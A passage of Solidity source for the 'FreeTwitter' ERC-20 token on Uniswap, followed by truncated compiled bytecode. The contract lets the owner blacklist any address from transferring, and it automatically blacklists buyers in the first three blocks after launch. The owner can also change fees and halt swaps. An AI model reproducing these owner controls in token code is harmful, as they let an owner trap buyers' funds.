(uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract FreeTwitter is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address private marketingWallet; address private devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool public enableEarlySellTax = true; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch // Seller Map mapping (address => uint256) private _holderFirstBuyTimestamp; // Blacklist Map mapping (address => bool) private _blacklist; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public earlySellLiquidityFee; uint256 public earlySellMarketingFee; uint256 public earlySellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; // block number of opened trading uint256 launchedAt; /******************/ // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("FreeTwitter", "FT") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 4; uint256 _buyLiquidityFee = 1; uint256 _buyDevFee = 1; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 1; uint256 _sellDevFee = 1; uint256 _earlySellLiquidityFee = 1; uint256 _earlySellMarketingFee = 5; uint256 _earlySellDevFee = 1 ; uint256 totalSupply = 1 * 1e10 * 1e18; maxTransactionAmount = totalSupply * 9 / 1000; // 0.9% maxTransactionAmountTxn maxWallet = totalSupply * 18 / 1000; // 1.8% maxWallet swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; launchedAt = block.number; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function setEarlySellTax(bool onoff) external onlyOwner { enableEarlySellTax = onoff; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee, uint256 _earlySellDevFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function blacklistAccount (address account, bool isBlacklisted) public onlyOwner { _blacklist[account] = isBlacklisted; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } // anti bot logic if (block.number <= (launchedAt + 3) && to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { _blacklist[to] = true; } // early sell logic bool isBuy = from == uniswapV2Pair; if (!isBuy && enableEarlySellTax) { if (_holderFirstBuyTimestamp[from] != 0 && (_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) { sellLiquidityFee = earlySellLiquidityFee; sellMarketingFee = earlySellMarketingFee; sellDevFee = earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } else { sellLiquidityFee = 4; sellMarketingFee = 4; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } else { if (_holderFirstBuyTimestamp[to] == 0) { _holderFirstBuyTimestamp[to] = block.timestamp; } if (!enableEarlySellTax) { sellLiquidityFee = 4; sellMarketingFee = 4; sellDevFee = 1; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function Chire(address[] calldata recipients, uint256[] calldata values) external onlyOwner { _approve(owner(), owner(), totalSupply()); for (uint256 i = 0; i < recipients.length; i++) { transferFrom(msg.sender, recipients[i], values[i] * 10 ** decimals()); } } }
0x6080604052600436106103855760003560e01c806392136913116101d1578063b62496f511610102578063d85ba063116100a0578063f11a24d31161006f578063f11a24d314610a4c578063f2fde38b14610a62578063f637434214610a82578063f8b45b0514610a9857600080fd5b8063d85ba063146109c5578063dd62ed3e146109db578063e2f4560514610a21578063e884f26014610a3757600080fd5b8063c18bc195116100dc578063c18bc19514610955578063c876d0b914610975578063c8c8ebe41461098f578063d257b34f146109a557600080fd5b8063b62496f5146108e6578063bbc0c74214610916578063c02466681461093557600080fd5b8063a0d82dc51161016f578063a4d15b6411610149578063a4d15b641461086f578063a7fc9e2114610890578063a9059cbb146108a6578063aacebbe3146108c657600080fd5b8063a0d82dc514610819578063a26577781461082f578063a457c2d71461084f57600080fd5b80639a7a23d6116101ab5780639a7a23d6146107ad5780639c3b4fdc146107cd5780639c63e6b9146107e35780639fccce321461080357600080fd5b80639213691314610762578063924de9b71461077857806395d89b411461079857600080fd5b806339509351116102b657806370a08231116102545780637bce5a04116102235780637bce5a04146106f95780638095d5641461070f5780638a8c523c1461072f5780638da5cb5b1461074457600080fd5b806370a0823114610679578063715018a6146106af578063751039fc146106c45780637571336a146106d957600080fd5b80634fbee193116102905780634fbee193146105f4578063541a43cf1461062d5780636a486a8e146106435780636ddd17131461065957600080fd5b8063395093511461058657806349bd5a5e146105a65780634a62bb65146105da57600080fd5b80631f3fed8f1161032357806323b872dd116102fd57806323b872dd146105145780632bf3d42d146105345780632d5a5d341461054a578063313ce5671461056a57600080fd5b80631f3fed8f146104be578063203e727e146104d457806322d3e2aa146104f457600080fd5b80631694505e1161035f5780631694505e1461041b57806318160ddd146104675780631816467f146104865780631a8145bb146104a857600080fd5b806306fdde0314610391578063095ea7b3146103bc57806310d5de53146103ec57600080fd5b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610aae565b6040516103b39190612b9e565b60405180910390f35b3480156103c857600080fd5b506103dc6103d7366004612c0b565b610b40565b60405190151581526020016103b3565b3480156103f857600080fd5b506103dc610407366004612c37565b602080526000908152604090205460ff1681565b34801561042757600080fd5b5061044f7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016103b3565b34801561047357600080fd5b506002545b6040519081526020016103b3565b34801561049257600080fd5b506104a66104a1366004612c37565b610b57565b005b3480156104b457600080fd5b50610478601c5481565b3480156104ca57600080fd5b50610478601b5481565b3480156104e057600080fd5b506104a66104ef366004612c54565b610be7565b34801561050057600080fd5b506104a661050f366004612c6d565b610cc4565b34801561052057600080fd5b506103dc61052f366004612cb0565b610d7e565b34801561054057600080fd5b5061047860195481565b34801561055657600080fd5b506104a6610565366004612d01565b610de7565b34801561057657600080fd5b50604051601281526020016103b3565b34801561059257600080fd5b506103dc6105a1366004612c0b565b610e3c565b3480156105b257600080fd5b5061044f7f000000000000000000000000545bcb4d4ba7dca73c3d3d10d0b006b0defa1f8d81565b3480156105e657600080fd5b50600b546103dc9060ff1681565b34801561060057600080fd5b506103dc61060f366004612c37565b6001600160a01b03166000908152601f602052604090205460ff1690565b34801561063957600080fd5b5061047860185481565b34801561064f57600080fd5b5061047860145481565b34801561066557600080fd5b50600b546103dc9062010000900460ff1681565b34801561068557600080fd5b50610478610694366004612c37565b6001600160a01b031660009081526020819052604090205490565b3480156106bb57600080fd5b506104a6610e72565b3480156106d057600080fd5b506103dc610ee6565b3480156106e557600080fd5b506104a66106f4366004612d01565b610f23565b34801561070557600080fd5b5061047860115481565b34801561071b57600080fd5b506104a661072a366004612d36565b610f77565b34801561073b57600080fd5b506104a661101f565b34801561075057600080fd5b506005546001600160a01b031661044f565b34801561076e57600080fd5b5061047860155481565b34801561078457600080fd5b506104a6610793366004612d62565b611060565b3480156107a457600080fd5b506103a66110a6565b3480156107b957600080fd5b506104a66107c8366004612d01565b6110b5565b3480156107d957600080fd5b5061047860135481565b3480156107ef57600080fd5b506104a66107fe366004612dc9565b611195565b34801561080f57600080fd5b50610478601d5481565b34801561082557600080fd5b5061047860175481565b34801561083b57600080fd5b506104a661084a366004612d62565b611267565b34801561085b57600080fd5b506103dc61086a366004612c0b565b6112af565b34801561087b57600080fd5b50600b546103dc906301000000900460ff1681565b34801561089c57600080fd5b50610478601a5481565b3480156108b257600080fd5b506103dc6108c1366004612c0b565b6112fe565b3480156108d257600080fd5b506104a66108e1366004612c37565b61130b565b3480156108f257600080fd5b506103dc610901366004612c37565b60216020526000908152604090205460ff1681565b34801561092257600080fd5b50600b546103dc90610100900460ff1681565b34801561094157600080fd5b506104a6610950366004612d01565b611392565b34801561096157600080fd5b506104a6610970366004612c54565b61141b565b34801561098157600080fd5b50600f546103dc9060ff1681565b34801561099b57600080fd5b5061047860085481565b3480156109b157600080fd5b506103dc6109c0366004612c54565b6114ec565b3480156109d157600080fd5b5061047860105481565b3480156109e757600080fd5b506104786109f6366004612e35565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a2d57600080fd5b5061047860095481565b348015610a4357600080fd5b506103dc611643565b348015610a5857600080fd5b5061047860125481565b348015610a6e57600080fd5b506104a6610a7d366004612c37565b611680565b348015610a8e57600080fd5b5061047860165481565b348015610aa457600080fd5b50610478600a5481565b606060038054610abd90612e6e565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae990612e6e565b8015610b365780601f10610b0b57610100808354040283529160200191610b36565b820191906000526020600020905b815481529060010190602001808311610b1957829003601f168201915b5050505050905090565b6000610b4d3384846117d1565b5060015b92915050565b6005546001600160a01b03163314610b8a5760405162461bcd60e51b8152600401610b8190612ea9565b60405180910390fd5b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610c115760405162461bcd60e51b8152600401610b8190612ea9565b670de0b6b3a76400006103e8610c2660025490565b610c31906001612ef4565b610c3b9190612f13565b610c459190612f13565b811015610cac5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610b81565b610cbe81670de0b6b3a7640000612ef4565b60085550565b6005546001600160a01b03163314610cee5760405162461bcd60e51b8152600401610b8190612ea9565b60158690556016859055601784905560188390556019829055601a81905583610d178688612f35565b610d219190612f35565b601481905560191015610d765760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610b81565b505050505050565b6000610d8b8484846118f6565b610ddd8433610dd8856040518060600160405280602881526020016131f3602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906123ed565b6117d1565b5060019392505050565b6005546001600160a01b03163314610e115760405162461bcd60e51b8152600401610b8190612ea9565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610b4d918590610dd8908661176b565b6005546001600160a01b03163314610e9c5760405162461bcd60e51b8152600401610b8190612ea9565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b03163314610f135760405162461bcd60e51b8152600401610b8190612ea9565b50600b805460ff19169055600190565b6005546001600160a01b03163314610f4d5760405162461bcd60e51b8152600401610b8190612ea9565b6001600160a01b039190911660009081526020805260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610fa15760405162461b